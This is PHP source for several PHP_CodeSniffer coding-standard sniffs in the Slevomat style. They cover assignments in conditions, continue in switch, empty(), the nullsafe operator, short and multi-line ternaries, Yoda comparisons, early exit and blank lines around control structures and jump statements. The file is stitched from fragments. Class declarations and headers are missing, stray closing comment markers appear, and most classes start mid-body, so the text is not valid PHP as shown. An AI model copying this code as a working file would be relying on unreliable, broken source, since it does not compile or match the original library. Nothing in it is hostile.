(in_array($tokens[$controlStructurePointer]['code'], [T_WHILE, T_FOR, T_FOREACH, T_SWITCH], true)) { return $tokens[$controlStructurePointer]['scope_closer']; } if (in_array($tokens[$controlStructurePointer]['code'], [T_CASE, T_DEFAULT], true)) { $switchPointer = TokenHelper::findPrevious($phpcsFile, T_SWITCH, $controlStructurePointer - 1); $pointers = TokenHelper::findNextAll( $phpcsFile, [T_CASE, T_DEFAULT], $controlStructurePointer + 1, $tokens[$switchPointer]['scope_closer'], ); foreach ($pointers as $pointer) { if (TokenHelper::findPrevious($phpcsFile, T_SWITCH, $pointer - 1) === $switchPointer) { $pointerBeforeCaseOrDefault = TokenHelper::findPreviousNonWhitespace($phpcsFile, $pointer - 1); if ( in_array($tokens[$pointerBeforeCaseOrDefault]['code'], Tokens::$commentTokens, true) && $tokens[$pointerBeforeCaseOrDefault]['line'] + 1 === $tokens[$pointer]['line'] ) { $pointerBeforeCaseOrDefault = TokenHelper::findPreviousExcluding( $phpcsFile, T_WHITESPACE, $pointerBeforeCaseOrDefault - 1, ); } return $pointerBeforeCaseOrDefault; } } return TokenHelper::findPreviousNonWhitespace($phpcsFile, $tokens[$switchPointer]['scope_closer'] - 1); } $nextPointer = TokenHelper::findNext( $phpcsFile, [T_SEMICOLON, T_ANON_CLASS, T_CLOSURE, T_FN, T_OPEN_SHORT_ARRAY], $controlStructurePointer + 1, ); if ($tokens[$nextPointer]['code'] === T_SEMICOLON) { return $nextPointer; } $scopeCloserPointer = $tokens[$nextPointer]['code'] === T_OPEN_SHORT_ARRAY ? $tokens[$nextPointer]['bracket_closer'] : $tokens[$nextPointer]['scope_closer']; if ($tokens[$scopeCloserPointer]['code'] === T_SEMICOLON) { return $scopeCloserPointer; } $nextPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $scopeCloserPointer + 1); $level = $tokens[$controlStructurePointer]['level']; while ($level !== $tokens[$nextPointer]['level']) { $nextPointer = (int) TokenHelper::findNext($phpcsFile, T_SEMICOLON, $nextPointer + 1); } return $nextPointer; } } */ public array $checkedControlStructures = [ self::IF_CONTROL_STRUCTURE, self::WHILE_CONTROL_STRUCTURE, self::DO_CONTROL_STRUCTURE, ]; /** * @return array */ public function register(): array { $this->checkedControlStructures = SniffSettingsHelper::normalizeArray($this->checkedControlStructures); $register = []; if (in_array(self::IF_CONTROL_STRUCTURE, $this->checkedControlStructures, true)) { $register[] = T_IF; $register[] = T_ELSEIF; } if (in_array(self::WHILE_CONTROL_STRUCTURE, $this->checkedControlStructures, true)) { $register[] = T_WHILE; } if (in_array(self::DO_CONTROL_STRUCTURE, $this->checkedControlStructures, true)) { $register[] = T_WHILE; } return $register; } protected function shouldBeSkipped(File $phpcsFile, int $controlStructurePointer): bool { $tokens = $phpcsFile->getTokens(); if ( !array_key_exists('parenthesis_opener', $tokens[$controlStructurePointer]) || $tokens[$controlStructurePointer]['parenthesis_opener'] === null || !array_key_exists('parenthesis_closer', $tokens[$controlStructurePointer]) || $tokens[$controlStructurePointer]['parenthesis_closer'] === null ) { return true; } if ($tokens[$controlStructurePointer]['code'] === T_WHILE) { $isPartOfDo = $this->isPartOfDo($phpcsFile, $controlStructurePointer); if ($isPartOfDo && !in_array(self::DO_CONTROL_STRUCTURE, $this->checkedControlStructures, true)) { return true; } if (!$isPartOfDo && !in_array(self::WHILE_CONTROL_STRUCTURE, $this->checkedControlStructures, true)) { return true; } } return false; } protected function getControlStructureName(File $phpcsFile, int $controlStructurePointer): string { $tokens = $phpcsFile->getTokens(); return $tokens[$controlStructurePointer]['code'] === T_WHILE && $this->isPartOfDo($phpcsFile, $controlStructurePointer) ? 'do-while' : $tokens[$controlStructurePointer]['content']; } protected function isPartOfDo(File $phpcsFile, int $whilePointer): bool { $tokens = $phpcsFile->getTokens(); $parenthesisCloserPointer = $tokens[$whilePointer]['parenthesis_closer']; $pointerAfterParenthesisCloser = TokenHelper::findNextEffective($phpcsFile, $parenthesisCloserPointer + 1); return $tokens[$pointerAfterParenthesisCloser]['code'] !== T_OPEN_CURLY_BRACKET; } protected function getLineStart(File $phpcsFile, int $pointer): string { $firstPointerOnLine = TokenHelper::findFirstTokenOnLine($phpcsFile, $pointer); return TokenHelper::getContent($phpcsFile, $firstPointerOnLine, $pointer); } protected function getCondition(File $phpcsFile, int $parenthesisOpenerPointer, int $parenthesisCloserPointer): string { $condition = TokenHelper::getContent($phpcsFile, $parenthesisOpenerPointer + 1, $parenthesisCloserPointer - 1); return trim(preg_replace(sprintf('~%s[ \t]*~', $phpcsFile->eolChar), ' ', $condition)); } protected function getLineEnd(File $phpcsFile, int $pointer): string { $lastPointerOnLine = TokenHelper::findLastTokenOnLine($phpcsFile, $pointer); return rtrim(TokenHelper::getContent($phpcsFile, $pointer, $lastPointerOnLine)); } } */ public function register(): array { return [ T_IF, T_ELSEIF, T_DO, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $conditionStartPointer */ public function process(File $phpcsFile, $conditionStartPointer): void { $tokens = $phpcsFile->getTokens(); $token = $tokens[$conditionStartPointer]; if ($token['code'] === T_DO) { $whilePointer = TokenHelper::findNext($phpcsFile, T_WHILE, $token['scope_closer'] + 1); $whileToken = $tokens[$whilePointer]; $parenthesisOpener = $whileToken['parenthesis_opener']; $parenthesisCloser = $whileToken['parenthesis_closer']; $type = 'do-while'; } else { $parenthesisOpener = $token['parenthesis_opener']; $parenthesisCloser = $token['parenthesis_closer']; $type = $token['code'] === T_IF ? 'if' : 'elseif'; } if ( $parenthesisOpener === null || $parenthesisCloser === null ) { return; } $this->processCondition($phpcsFile, $parenthesisOpener, $parenthesisCloser, $type); } private function processCondition(File $phpcsFile, int $parenthesisOpener, int $parenthesisCloser, string $conditionType): void { $equalsTokenPointers = TokenHelper::findNextAll($phpcsFile, T_EQUAL, $parenthesisOpener + 1, $parenthesisCloser); if ($equalsTokenPointers === []) { return; } if (!$this->ignoreAssignmentsInsideFunctionCalls) { $this->error($phpcsFile, $conditionType, $equalsTokenPointers[0]); return; } $tokens = $phpcsFile->getTokens(); foreach ($equalsTokenPointers as $equalsTokenPointer) { /** @var non-empty-list $parenthesisStarts */ $parenthesisStarts = array_keys($tokens[$equalsTokenPointer]['nested_parenthesis']); $insideParenthesis = max($parenthesisStarts); if ($insideParenthesis === $parenthesisOpener) { $this->error($phpcsFile, $conditionType, $equalsTokenPointer); continue; } $functionCall = TokenHelper::findPrevious( $phpcsFile, TokenHelper::ONLY_NAME_TOKEN_CODES, $insideParenthesis, $parenthesisOpener, ); if ($functionCall !== null) { continue; } $this->error($phpcsFile, $conditionType, $equalsTokenPointer); } } private function error(File $phpcsFile, string $conditionType, int $equalsTokenPointer): void { $phpcsFile->addError( sprintf('Assignment in %s condition is not allowed.', $conditionType), $equalsTokenPointer, self::CODE_ASSIGNMENT_IN_CONDITION, ); } } */ public array $controlStructures = []; /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $controlStructurePointer */ public function process(File $phpcsFile, $controlStructurePointer): void { $this->linesCountBefore = SniffSettingsHelper::normalizeInteger($this->linesCountBefore); $this->linesCountBeforeFirst = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeFirst); $this->linesCountAfter = SniffSettingsHelper::normalizeInteger($this->linesCountAfter); $this->linesCountAfterLast = SniffSettingsHelper::normalizeInteger($this->linesCountAfterLast); if ($this->isWhilePartOfDo($phpcsFile, $controlStructurePointer)) { return; } parent::process($phpcsFile, $controlStructurePointer); } /** * @return list */ protected function getSupportedKeywords(): array { return [ self::KEYWORD_IF, self::KEYWORD_DO, self::KEYWORD_WHILE, self::KEYWORD_FOR, self::KEYWORD_FOREACH, self::KEYWORD_SWITCH, self::KEYWORD_TRY, self::KEYWORD_CASE, self::KEYWORD_DEFAULT, ]; } /** * @return list */ protected function getKeywordsToCheck(): array { return $this->controlStructures; } protected function getLinesCountBefore(): int { return $this->linesCountBefore; } /** * @phpcsSuppress SlevomatCodingStandard.Functions.UnusedParameter.UnusedParameter */ protected function getLinesCountBeforeFirst(File $phpcsFile, int $controlStructurePointer): int { return $this->linesCountBeforeFirst; } protected function getLinesCountAfter(): int { return $this->linesCountAfter; } /** * @phpcsSuppress SlevomatCodingStandard.Functions.UnusedParameter.UnusedParameter */ protected function getLinesCountAfterLast(File $phpcsFile, int $controlStructurePointer, int $controlStructureEndPointer): int { return $this->linesCountAfterLast; } private function isWhilePartOfDo(File $phpcsFile, int $controlStructurePointer): bool { $tokens = $phpcsFile->getTokens(); $pointerBefore = TokenHelper::findPreviousEffective($phpcsFile, $controlStructurePointer - 1); return $tokens[$controlStructurePointer]['code'] === T_WHILE && $tokens[$pointerBefore]['code'] === T_CLOSE_CURLY_BRACKET && array_key_exists('scope_condition', $tokens[$pointerBefore]) && $tokens[$tokens[$pointerBefore]['scope_condition']]['code'] === T_DO; } } */ public function register(): array { return [ T_CONTINUE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $continuePointer */ public function process(File $phpcsFile, $continuePointer): void { $tokens = $phpcsFile->getTokens(); $operandPointer = TokenHelper::findNextEffective($phpcsFile, $continuePointer + 1); if ($tokens[$operandPointer]['code'] === T_LNUMBER) { return; } $conditionTokenCode = current(array_reverse($tokens[$continuePointer]['conditions'])); if ($conditionTokenCode !== T_SWITCH) { return; } $fix = $phpcsFile->addFixableError( 'Usage of "continue" without integer operand in "switch" is disallowed, use "break" instead.', $continuePointer, self::CODE_DISALLOWED_CONTINUE_WITHOUT_INTEGER_OPERAND_IN_SWITCH, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $continuePointer, 'break'); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_EMPTY, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $emptyPointer */ public function process(File $phpcsFile, $emptyPointer): void { $phpcsFile->addError('Use of empty() is disallowed.', $emptyPointer, self::CODE_DISALLOWED_EMPTY); } } */ public function register(): array { return [ T_NULLSAFE_OBJECT_OPERATOR, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $operatorPointer */ public function process(File $phpcsFile, $operatorPointer): void { $phpcsFile->addError('Operator ?-> is disallowed.', $operatorPointer, self::CODE_DISALLOWED_NULL_SAFE_OBJECT_OPERATOR); } } */ public function register(): array { return [ T_INLINE_THEN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $inlineThenPointer */ public function process(File $phpcsFile, $inlineThenPointer): void { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $inlineThenPointer + 1); if ($tokens[$nextPointer]['code'] !== T_INLINE_ELSE) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $inlineThenPointer - 1); $message = 'Use of short ternary operator is disallowed.'; if ($tokens[$previousPointer]['code'] !== T_VARIABLE) { $phpcsFile->addError($message, $inlineThenPointer, self::CODE_DISALLOWED_SHORT_TERNARY_OPERATOR); return; } if (!$this->fixable) { $phpcsFile->addError($message, $inlineThenPointer, self::CODE_DISALLOWED_SHORT_TERNARY_OPERATOR); return; } $fix = $phpcsFile->addFixableError($message, $inlineThenPointer, self::CODE_DISALLOWED_SHORT_TERNARY_OPERATOR); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add( $phpcsFile, $inlineThenPointer, sprintf(' %s ', $tokens[$previousPointer]['content']), ); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_INLINE_THEN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $inlineThenPointer */ public function process(File $phpcsFile, $inlineThenPointer): void { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $inlineThenPointer + 1); if ($tokens[$nextPointer]['code'] === T_INLINE_ELSE) { return; } if ($tokens[$inlineThenPointer]['line'] === $tokens[$nextPointer]['line']) { return; } $fix = $phpcsFile->addFixableError( 'Ternary operator should be reformatted as leading the line.', $inlineThenPointer, self::CODE_TRAILING_MULTI_LINE_TERNARY_OPERATOR_USED, ); if (!$fix) { return; } $inlineElsePointer = TernaryOperatorHelper::getElsePointer($phpcsFile, $inlineThenPointer); $pointerBeforeInlineThen = TokenHelper::findPreviousEffective($phpcsFile, $inlineThenPointer - 1); $pointerAfterInlineThen = TokenHelper::findNextExcluding($phpcsFile, [T_WHITESPACE], $inlineThenPointer + 1); $pointerBeforeInlineElse = TokenHelper::findPreviousEffective($phpcsFile, $inlineElsePointer - 1); $pointerAfterInlineElse = TokenHelper::findNextExcluding($phpcsFile, [T_WHITESPACE], $inlineElsePointer + 1); $indentation = IndentationHelper::addIndentation( $phpcsFile, IndentationHelper::getIndentation( $phpcsFile, TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $inlineThenPointer), ), ); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $pointerBeforeInlineThen, $inlineThenPointer); FixerHelper::removeBetween($phpcsFile, $inlineThenPointer, $pointerAfterInlineThen); FixerHelper::addBefore($phpcsFile, $inlineThenPointer, $phpcsFile->eolChar . $indentation); FixerHelper::addBefore($phpcsFile, $pointerAfterInlineThen, ' '); FixerHelper::removeBetween($phpcsFile, $pointerBeforeInlineElse, $inlineElsePointer); FixerHelper::removeBetween($phpcsFile, $inlineElsePointer, $pointerAfterInlineElse); FixerHelper::addBefore($phpcsFile, $inlineElsePointer, $phpcsFile->eolChar . $indentation); FixerHelper::addBefore($phpcsFile, $pointerAfterInlineElse, ' '); $phpcsFile->fixer->endChangeset(); } } (Foo::BAR, BAR) * > (true, false, null, 1, 1.0, arrays, 'foo') */ class DisallowYodaComparisonSniff implements Sniff { public const CODE_DISALLOWED_YODA_COMPARISON = 'DisallowedYodaComparison'; /** * @return array */ public function register(): array { return [ T_IS_IDENTICAL, T_IS_NOT_IDENTICAL, T_IS_EQUAL, T_IS_NOT_EQUAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $comparisonTokenPointer */ public function process(File $phpcsFile, $comparisonTokenPointer): void { $tokens = $phpcsFile->getTokens(); $leftSideTokens = YodaHelper::getLeftSideTokens($tokens, $comparisonTokenPointer); $rightSideTokens = YodaHelper::getRightSideTokens($tokens, $comparisonTokenPointer); $leftDynamism = YodaHelper::getDynamismForTokens($tokens, $leftSideTokens); $rightDynamism = YodaHelper::getDynamismForTokens($tokens, $rightSideTokens); if ($leftDynamism === null || $rightDynamism === null) { return; } if ($leftDynamism >= $rightDynamism) { return; } if ($leftDynamism >= 900 && $rightDynamism >= 900) { return; } $errorParameters = [ 'Yoda comparisons are disallowed.', $comparisonTokenPointer, self::CODE_DISALLOWED_YODA_COMPARISON, ]; $lastRightSideTokenPointer = array_keys($rightSideTokens)[count($rightSideTokens) - 1]; $nextPointer = TokenHelper::findNextEffective($phpcsFile, $lastRightSideTokenPointer + 1); if ($tokens[$nextPointer]['code'] === T_EQUAL) { $phpcsFile->addError(...$errorParameters); return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { return; } YodaHelper::fix($phpcsFile, $leftSideTokens, $rightSideTokens); } } */ public function register(): array { return [ T_IF, T_ELSEIF, T_ELSE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] === T_IF) { $this->processIf($phpcsFile, $pointer); } elseif ($tokens[$pointer]['code'] === T_ELSEIF) { $this->processElseIf($phpcsFile, $pointer); } else { $this->processElse($phpcsFile, $pointer); } } private function processElse(File $phpcsFile, int $elsePointer): void { $tokens = $phpcsFile->getTokens(); if (!array_key_exists('scope_opener', $tokens[$elsePointer])) { // Else without curly braces is not supported. return; } try { $allConditionsPointers = $this->getAllConditionsPointers($phpcsFile, $elsePointer); } catch (Throwable $e) { // Else without curly braces is not supported. return; } if (TokenHelper::findNext( $phpcsFile, T_FUNCTION, $tokens[$elsePointer]['scope_opener'] + 1, $tokens[$elsePointer]['scope_closer'], ) !== null) { return; } $ifPointer = $allConditionsPointers[0]; $ifEarlyExitPointer = null; $elseEarlyExitPointer = null; $previousConditionPointer = null; $previousConditionEarlyExitPointer = null; foreach ($allConditionsPointers as $conditionPointer) { $conditionEarlyExitPointer = $this->findEarlyExitInScope( $phpcsFile, $tokens[$conditionPointer]['scope_opener'], $tokens[$conditionPointer]['scope_closer'], ); if ($conditionPointer === $elsePointer) { $elseEarlyExitPointer = $conditionEarlyExitPointer; continue; } if (count($allConditionsPointers) > 2 && $conditionEarlyExitPointer === null) { return; } $previousConditionPointer = $conditionPointer; $previousConditionEarlyExitPointer = $conditionEarlyExitPointer; if ($conditionPointer === $ifPointer) { $ifEarlyExitPointer = $conditionEarlyExitPointer; continue; } } if ($ifEarlyExitPointer === null && $elseEarlyExitPointer === null) { return; } if ($elseEarlyExitPointer !== null && $previousConditionEarlyExitPointer === null) { $fix = $phpcsFile->addFixableError('Use early exit instead of "else".', $elsePointer, self::CODE_EARLY_EXIT_NOT_USED); if (!$fix) { return; } $ifCodePointers = $this->getScopeCodePointers($phpcsFile, $ifPointer); $elseCode = $this->getScopeCode($phpcsFile, $elsePointer); $negativeIfCondition = ConditionHelper::getNegativeCondition( $phpcsFile, $tokens[$ifPointer]['parenthesis_opener'], $tokens[$ifPointer]['parenthesis_closer'], ); $afterIfCode = IndentationHelper::removeIndentation( $phpcsFile, $ifCodePointers, IndentationHelper::getIndentation($phpcsFile, $ifPointer), ); $ifContent = sprintf('if %s {%s}%s%s', $negativeIfCondition, $elseCode, $phpcsFile->eolChar, $afterIfCode); $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $ifPointer, $tokens[$elsePointer]['scope_closer'], $ifContent); $phpcsFile->fixer->endChangeset(); return; } $fix = $phpcsFile->addFixableError('Remove useless "else" to reduce code nesting.', $elsePointer, self::CODE_USELESS_ELSE); if (!$fix) { return; } $elseCodePointers = $this->getScopeCodePointers($phpcsFile, $elsePointer); $afterIfCode = IndentationHelper::removeIndentation( $phpcsFile, $elseCodePointers, IndentationHelper::getIndentation($phpcsFile, $ifPointer), ); $phpcsFile->fixer->beginChangeset(); $previousConditionContent = sprintf('%s%s', $phpcsFile->eolChar, $afterIfCode); FixerHelper::change( $phpcsFile, $tokens[$previousConditionPointer]['scope_closer'] + 1, $tokens[$elsePointer]['scope_closer'], $previousConditionContent, ); $phpcsFile->fixer->endChangeset(); } private function processElseIf(File $phpcsFile, int $elseIfPointer): void { $tokens = $phpcsFile->getTokens(); try { $allConditionsPointers = $this->getAllConditionsPointers($phpcsFile, $elseIfPointer); } catch (Throwable $e) { // Elseif without curly braces is not supported. return; } if (TokenHelper::findNext( $phpcsFile, T_FUNCTION, $tokens[$elseIfPointer]['scope_opener'] + 1, $tokens[$elseIfPointer]['scope_closer'], ) !== null) { return; } foreach ($allConditionsPointers as $conditionPointer) { $conditionEarlyExitPointer = $this->findEarlyExitInScope( $phpcsFile, $tokens[$conditionPointer]['scope_opener'], $tokens[$conditionPointer]['scope_closer'], ); if ($conditionPointer === $elseIfPointer) { break; } if ($conditionEarlyExitPointer === null) { return; } } $fix = $phpcsFile->addFixableError('Use "if" instead of "elseif".', $elseIfPointer, self::CODE_USELESS_ELSEIF); if (!$fix) { return; } /** @var int $pointerBeforeElseIfPointer */ $pointerBeforeElseIfPointer = TokenHelper::findPreviousNonWhitespace($phpcsFile, $elseIfPointer - 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $pointerBeforeElseIfPointer, $elseIfPointer); $phpcsFile->fixer->addNewline($pointerBeforeElseIfPointer); $phpcsFile->fixer->addNewline($pointerBeforeElseIfPointer); FixerHelper::replace( $phpcsFile, $elseIfPointer, sprintf('%sif', IndentationHelper::getIndentation($phpcsFile, $allConditionsPointers[0])), ); $phpcsFile->fixer->endChangeset(); } private function processIf(File $phpcsFile, int $ifPointer): void { $tokens = $phpcsFile->getTokens(); if (!array_key_exists('scope_closer', $tokens[$ifPointer])) { // If without curly braces is not supported. return; } $nextPointer = TokenHelper::findNextNonWhitespace($phpcsFile, $tokens[$ifPointer]['scope_closer'] + 1); if ($nextPointer === null || $tokens[$nextPointer]['code'] !== T_CLOSE_CURLY_BRACKET) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $ifPointer - 1); if ( $this->ignoreStandaloneIfInScope && in_array($tokens[$previousPointer]['code'], [T_OPEN_CURLY_BRACKET, T_COLON], true) ) { return; } if ( $this->ignoreOneLineTrailingIf && $tokens[$tokens[$ifPointer]['scope_opener']]['line'] + 2 === $tokens[$tokens[$ifPointer]['scope_closer']]['line'] ) { return; } if ($this->ignoreTrailingIfWithOneInstruction) { $pointerBeforeScopeCloser = TokenHelper::findPreviousEffective($phpcsFile, $tokens[$ifPointer]['scope_closer'] - 1); if ($tokens[$pointerBeforeScopeCloser]['code'] === T_SEMICOLON) { $ignore = true; $searchStartPointer = $tokens[$ifPointer]['scope_opener'] + 1; while (true) { $anotherSemicolonPointer = TokenHelper::findNext( $phpcsFile, T_SEMICOLON, $searchStartPointer, $pointerBeforeScopeCloser, ); if ($anotherSemicolonPointer === null) { break; } if (ScopeHelper::isInSameScope($phpcsFile, $anotherSemicolonPointer, $pointerBeforeScopeCloser)) { $ignore = false; break; } $searchStartPointer = $anotherSemicolonPointer + 1; } if ($ignore) { return; } } } $scopePointer = $tokens[$nextPointer]['scope_condition']; if (!in_array($tokens[$scopePointer]['code'], [T_FUNCTION, T_CLOSURE, T_WHILE, T_DO, T_FOREACH, T_FOR], true)) { return; } if ($this->isEarlyExitInScope($phpcsFile, $tokens[$ifPointer]['scope_opener'], $tokens[$ifPointer]['scope_closer'])) { return; } $fix = $phpcsFile->addFixableError('Use early exit to reduce code nesting.', $ifPointer, self::CODE_EARLY_EXIT_NOT_USED); if (!$fix) { return; } $ifCodePointers = $this->getScopeCodePointers($phpcsFile, $ifPointer); $ifIndentation = IndentationHelper::getIndentation($phpcsFile, $ifPointer); $earlyExitCode = $this->getEarlyExitCode($tokens[$scopePointer]['code']); $earlyExitCodeIndentation = IndentationHelper::addIndentation($phpcsFile, $ifIndentation); $negativeIfCondition = ConditionHelper::getNegativeCondition( $phpcsFile, $tokens[$ifPointer]['parenthesis_opener'], $tokens[$ifPointer]['parenthesis_closer'], ); $afterIfCode = IndentationHelper::removeIndentation($phpcsFile, $ifCodePointers, $ifIndentation); $ifContent = sprintf( 'if %s {%s%s%s;%s%s}%s%s', $negativeIfCondition, $phpcsFile->eolChar, $earlyExitCodeIndentation, $earlyExitCode, $phpcsFile->eolChar, $ifIndentation, $phpcsFile->eolChar, $afterIfCode, ); $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $ifPointer, $tokens[$ifPointer]['scope_closer'], $ifContent); $phpcsFile->fixer->endChangeset(); } private function getScopeCode(File $phpcsFile, int $scopePointer): string { $tokens = $phpcsFile->getTokens(); return TokenHelper::getContent($phpcsFile, $tokens[$scopePointer]['scope_opener'] + 1, $tokens[$scopePointer]['scope_closer'] - 1); } /** * @return list */ private function getScopeCodePointers(File $phpcsFile, int $scopePointer): array { $tokens = $phpcsFile->getTokens(); return range($tokens[$scopePointer]['scope_opener'] + 1, $tokens[$scopePointer]['scope_closer'] - 1); } /** * @param string|int $code */ private function getEarlyExitCode($code): string { if (in_array($code, [T_WHILE, T_DO, T_FOREACH, T_FOR], true)) { return 'continue'; } return 'return'; } private function findEarlyExitInScope(File $phpcsFile, int $startPointer, int $endPointer): ?int { $tokens = $phpcsFile->getTokens(); $ifPointers = TokenHelper::findNextAll($phpcsFile, T_IF, $startPointer + 1, $endPointer); foreach ($ifPointers as $ifPointer) { if ($tokens[$ifPointer]['level'] - 1 !== $tokens[$startPointer]['level']) { continue; } $conditionPointers = $this->getAllConditionsPointers($phpcsFile, $ifPointer); foreach ($conditionPointers as $conditionPointer) { if ($this->findEarlyExitInScope( $phpcsFile, $tokens[$conditionPointer]['scope_opener'], $tokens[$conditionPointer]['scope_closer'], ) === null) { return null; } } } $lastSemicolonInScopePointer = TokenHelper::findPreviousEffective($phpcsFile, $endPointer - 1, $startPointer); return $tokens[$lastSemicolonInScopePointer]['code'] === T_SEMICOLON ? TokenHelper::findPreviousLocal( $phpcsFile, TokenHelper::EARLY_EXIT_TOKEN_CODES, $lastSemicolonInScopePointer - 1, $startPointer, ) : null; } private function isEarlyExitInScope(File $phpcsFile, int $startPointer, int $endPointer): bool { return $this->findEarlyExitInScope($phpcsFile, $startPointer, $endPointer) !== null; } /** * @return list */ private function getAllConditionsPointers(File $phpcsFile, int $conditionPointer): array { $tokens = $phpcsFile->getTokens(); $conditionsPointers = [$conditionPointer]; if ( isset($tokens[$conditionPointer]['scope_opener']) && $tokens[$tokens[$conditionPointer]['scope_opener']]['code'] === T_COLON ) { // Alternative control structure syntax. throw new Exception(sprintf('"%s" without curly braces is not supported.', $tokens[$conditionPointer]['content'])); } if ($tokens[$conditionPointer]['code'] !== T_IF) { $currentConditionPointer = $conditionPointer; do { $previousConditionCloseParenthesisPointer = TokenHelper::findPreviousEffective($phpcsFile, $currentConditionPointer - 1); $currentConditionPointer = $tokens[$previousConditionCloseParenthesisPointer]['scope_condition']; $conditionsPointers[] = $currentConditionPointer; } while ($tokens[$currentConditionPointer]['code'] !== T_IF); } if ($tokens[$conditionPointer]['code'] !== T_ELSE) { if (!array_key_exists('scope_closer', $tokens[$conditionPointer])) { throw new Exception(sprintf('"%s" without curly braces is not supported.', $tokens[$conditionPointer]['content'])); } $currentConditionPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$conditionPointer]['scope_closer'] + 1); if ($currentConditionPointer !== null) { while (in_array($tokens[$currentConditionPointer]['code'], [T_ELSEIF, T_ELSE], true)) { $conditionsPointers[] = $currentConditionPointer; if (!array_key_exists('scope_closer', $tokens[$currentConditionPointer])) { throw new Exception( sprintf('"%s" without curly braces is not supported.', $tokens[$currentConditionPointer]['content']), ); } $currentConditionPointer = TokenHelper::findNextEffective( $phpcsFile, $tokens[$currentConditionPointer]['scope_closer'] + 1, ); } } } sort($conditionsPointers); return $conditionsPointers; } } */ public array $jumpStatements = []; /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $jumpStatementPointer */ public function process(File $phpcsFile, $jumpStatementPointer): void { $this->linesCountBefore = SniffSettingsHelper::normalizeInteger($this->linesCountBefore); $this->linesCountBeforeFirst = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeFirst); $this->linesCountBeforeWhenFirstInCaseOrDefault = SniffSettingsHelper::normalizeNullableInteger( $this->linesCountBeforeWhenFirstInCaseOrDefault, ); $this->linesCountAfter = SniffSettingsHelper::normalizeInteger($this->linesCountAfter); $this->linesCountAfterLast = SniffSettingsHelper::normalizeInteger($this->linesCountAfterLast); $this->linesCountAfterWhenLastInCaseOrDefault = SniffSettingsHelper::normalizeNullableInteger( $this->linesCountAfterWhenLastInCaseOrDefault, ); $this->linesCountAfterWhenLastInLastCaseOrDefault = SniffSettingsHelper::normalizeNullableInteger( $this->linesCountAfterWhenLastInLastCaseOrDefault, ); if ($this->isOneOfYieldSpecialCases($phpcsFile, $jumpStatementPointer)) { return; } parent::process($phpcsFile, $jumpStatementPointer); } /** * @return list */ protected function getSupportedKeywords(): array { return [ self::KEYWORD_GOTO, self::KEYWORD_BREAK, self::KEYWORD_CONTINUE, self::KEYWORD_RETURN, self::KEYWORD_THROW, self::KEYWORD_YIELD, self::KEYWORD_YIELD_FROM, ]; } /** * @return list */ protected function getKeywordsToCheck(): array { return $this->jumpStatements; } protected function getLinesCountBefore(): int { return $this->linesCountBefore; } protected function getLinesCountBeforeFirst(File $phpcsFile, int $jumpStatementPointer): int { if ( $this->linesCountBeforeWhenFirstInCaseOrDefault !== null && $this->isFirstInCaseOrDefault($phpcsFile, $jumpStatementPointer) ) { return $this->linesCountBeforeWhenFirstInCaseOrDefault; } return $this->linesCountBeforeFirst; } protected function getLinesCountAfter(): int { return $this->linesCountAfter; } /** * @phpcsSuppress SlevomatCodingStandard.Functions.UnusedParameter.UnusedParameter */ protected function getLinesCountAfterLast(File $phpcsFile, int $jumpStatementPointer, int $jumpStatementEndPointer): int { if ( $this->linesCountAfterWhenLastInLastCaseOrDefault !== null && $this->isLastInLastCaseOrDefault($phpcsFile, $jumpStatementEndPointer) ) { return $this->linesCountAfterWhenLastInLastCaseOrDefault; } if ( $this->linesCountAfterWhenLastInCaseOrDefault !== null && $this->isLastInCaseOrDefault($phpcsFile, $jumpStatementEndPointer) ) { return $this->linesCountAfterWhenLastInCaseOrDefault; } return $this->linesCountAfterLast; } protected function checkLinesBefore(File $phpcsFile, int $jumpStatementPointer): void { if ( $this->allowSingleLineYieldStacking && $this->isStackedSingleLineYield($phpcsFile, $jumpStatementPointer, true) ) { return; } if ($this->isThrowExpression($phpcsFile, $jumpStatementPointer)) { return; } parent::checkLinesBefore($phpcsFile, $jumpStatementPointer); } protected function checkLinesAfter(File $phpcsFile, int $jumpStatementPointer): void { if ( $this->allowSingleLineYieldStacking && $this->isStackedSingleLineYield($phpcsFile, $jumpStatementPointer, false) ) { return; } if ($this->isThrowExpression($phpcsFile, $jumpStatementPointer)) { return; } 